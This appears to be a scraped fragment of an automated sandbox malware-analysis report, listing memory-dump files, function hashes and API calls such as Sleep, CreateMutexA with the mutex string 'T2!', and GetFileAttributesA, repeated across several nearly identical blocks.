Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2!
API String ID: 1464230837-904731473
Opcode ID: 266d3a92b17449749df71f0e7af9943af509f76386c447b8455413d92a98ed20
Instruction ID: 13ead89762d121c5d93f8fff8f1e783d81bc1a7b2b77aac21833febd909d4a34
Opcode Fuzzy Hash: 266d3a92b17449749df71f0e7af9943af509f76386c447b8455413d92a98ed20
Instruction Fuzzy Hash: 4E315B717012008BEB18DB78DDD9BEDB762EFD5318F648228E494DB2D5CB359E808752

Function 001BA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 001BA963
CreateMutexA.KERNEL32(00000000,00000000,00213254), ref: 001BA981

Strings

T2!, xrefs: 001BA970

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2!
API String ID: 1464230837-904731473
Opcode ID: 377555cb8c6c113c34d378d8aa3c48719193f8be20eb41c1d6123ae61a8b4779
Instruction ID: f5680813c5b2c2f0b08adaa0a50b936b3b454d900e4db9c9d0d0fc05aecb70d9
Opcode Fuzzy Hash: 377555cb8c6c113c34d378d8aa3c48719193f8be20eb41c1d6123ae61a8b4779
Instruction Fuzzy Hash: BE318B717042009BEB08DB78DDD9BEDB772EFD5314F648228E054DB2D1CB369A808792

Function 001B9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 001BA963
CreateMutexA.KERNEL32(00000000,00000000,00213254), ref: 001BA981

Strings

T2!, xrefs: 001BA970

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2!
API String ID: 1464230837-904731473
Opcode ID: 3d4d0d652550a2d894d7d0eb9e31e358444a8b104aea1c487877b387d6f6c35d
Instruction ID: c68a68aba9efc8b51bf4d02302263ae1676864b104bbbc1fdec0eb7426ac29fb
Opcode Fuzzy Hash: 3d4d0d652550a2d894d7d0eb9e31e358444a8b104aea1c487877b387d6f6c35d
Instruction Fuzzy Hash: 332179317042009BEB18AB28EDD9BEDF762EFD1314F20422CE448D72D1CB76AA818652

Function 001BA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 001BA963
CreateMutexA.KERNEL32(00000000,00000000,00213254), ref: 001BA981

Strings

T2!, xrefs: 001BA970

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2!
API String ID: 1464230837-904731473
Opcode ID: e8fd3a3478a39097306bf58b614feb3fd87291a3c5c6df2742a7eefea89cf690
Instruction ID: 384850d3036143e209007f3e74280fe945181c9d17f4fe2a25e8ab056a2fe2f4
Opcode Fuzzy Hash: e8fd3a3478a39097306bf58b614feb3fd87291a3c5c6df2742a7eefea89cf690
Instruction Fuzzy Hash: F72191313552008BFB246768DCDA7FEB312DFD1301FA00826E588D76D1CB76598081D3

Function 001BA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 001BA963
CreateMutexA.KERNEL32(00000000,00000000,00213254), ref: 001BA981

Strings

T2!, xrefs: 001BA970

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084495103.0000000000226000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084511343.0000000000227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084594922.000000000037B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084614661.000000000037D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.0000000000396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084635726.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084674953.00000000003AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084693513.00000000003AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084711988.00000000003B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084730473.00000000003B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084764475.00000000003B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084802844.00000000003BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084841806.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084857691.00000000003D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084881989.00000000003D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084902229.00000000003D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084920645.00000000003D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084937828.00000000003D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084963527.00000000003E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085008309.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085026775.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085048565.0000000000418000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085064895.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085084036.000000000041A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085105430.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085124813.0000000000427000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085144260.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085167788.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085190305.0000000000439000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085208975.000000000043A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085227940.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085250212.000000000043D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085273354.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085294799.0000000000446000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085313813.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085346511.0000000000459000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085381060.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085411077.000000000045B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085435557.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085454394.000000000045E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085495712.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085518452.0000000000469000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000046C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085545611.000000000048A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085593607.00000000004B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085630783.00000000004B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085646864.00000000004B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085677232.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086034203.00000000004BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086490431.00000000004CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086854345.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2!
API String ID: 1464230837-904731473
Opcode ID: 0e246290b5f8be35445fad760cdc6d0e762d3b1ff8bb9a18bf60c1e613de3295
Instruction ID: 92efbefb252b264f4b7d373981db2927d294ab7f2f37e17c7b9366d2a6fda28f
Opcode Fuzzy Hash: 0e246290b5f8be35445fad760cdc6d0e762d3b1ff8bb9a18bf60c1e613de3295
Instruction Fuzzy Hash: 2B216E327052009BEB18DB6CED99BEDB762EFE1314F64422DE448D76D0C7769A808292

Function 001B87B2 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(?,001BDA1D,?,?,?,?), ref: 001B87B9

Memory Dump Source

Source File: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2084372848.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084391579.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084446733.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084463030.000000000021B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084479838.0000000000225000.00000080.00000001.01000000.00000003.sdmpDownload File
